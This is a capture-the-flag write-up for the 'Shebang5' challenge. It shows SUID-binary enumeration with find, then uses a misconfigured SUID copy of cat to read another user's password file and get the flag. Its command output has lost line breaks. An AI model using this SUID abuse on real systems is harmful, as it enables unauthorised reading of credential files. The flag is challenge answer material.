#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Shebang5.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Shebang5.md) -----
# Shebang5
![Category](http://img.shields.io/badge/Category-Shebang-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-250-brightgreen?style=for-the-badge)
We connect to the shell using this command `ssh -p 1337 [email protected]` and the flag from the Shebang4 challenge as the password.
There is a clue for this chelleneg in the description which reads;
> "there is a very bad file on this Server. can yoU fInD it."
Notice the capitalisation of `U` `I` & `D` in the above clue;
That makes me think we're looking for a SUID binary.
```shebang5@fe2149a30ae1:~$ find / -path /sys -prune -o -path /proc -prune -o -perm /4000/var/tmp/hi/bashfind: '/var/cache/ldconfig': Permission deniedfind: '/var/cache/apt/archives/partial': Permission deniedfind: '/var/cache/private': Permission deniedfind: '/var/log/private': Permission deniedfind: '/var/lib/apt/lists/partial': Permission deniedfind: '/var/lib/private': Permission denied/var/catfind: '/etc/ssl/private': Permission deniedfind: '/run/lock': Permission deniedfind: '/run/sudo': Permission denied/procfind: '/home/shebang4': Permission deniedfind: '/home/shebang3': Permission deniedfind: '/home/shebang2': Permission deniedfind: '/home/shebang1': Permission deniedfind: '/home/shebang0': Permission denied/sys/usr/bin/gpasswd/usr/bin/passwd/usr/bin/umount/usr/bin/chsh/usr/bin/chfn/usr/bin/mount/usr/bin/su/usr/bin/newgrp/usr/bin/sudo/usr/lib/openssh/ssh-keysign/usr/lib/dbus-1.0/dbus-daemon-launch-helperfind: '/root': Permission denied```
`/var/cat` looks inteersting?.!
```shebang5@fe2149a30ae1:~$ ls -al /var/cat---s--x--x 1 shebang6 root 16992 Oct 14 20:51 /var/cat```
OK, so "**shebang6**" is the owner of this file... and it has the SUID bit set on it! 
Now lets see if there are any files owened by 'shebang6';
```shebang5@fe2149a30ae1:~$ find / -path /sys -prune -o -path /proc -prune -o -user shebang6find: '/var/cache/ldconfig': Permission deniedfind: '/var/cache/apt/archives/partial': Permission deniedfind: '/var/cache/private': Permission deniedfind: '/var/log/private': Permission deniedfind: '/var/lib/apt/lists/partial': Permission deniedfind: '/var/lib/private': Permission denied/var/cat/etc/passwords/shebang6find: '/etc/ssl/private': Permission deniedfind: '/run/lock': Permission deniedfind: '/run/sudo': Permission denied/procfind: '/home/shebang4': Permission deniedfind: '/home/shebang3': Permission deniedfind: '/home/shebang2': Permission deniedfind: '/home/shebang1': Permission deniedfind: '/home/shebang0': Permission denied/sysfind: '/root': Permission denied```
We can see from the above output the file `/etc/passwords/shebang6`. That's got to be something?!
running the /var/cat binary against the file we get the following;
```shebang5@fe2149a30ae1:~$ /var/cat /etc/passwords/shebang6 CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}```
And there's the flag;
## `CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}`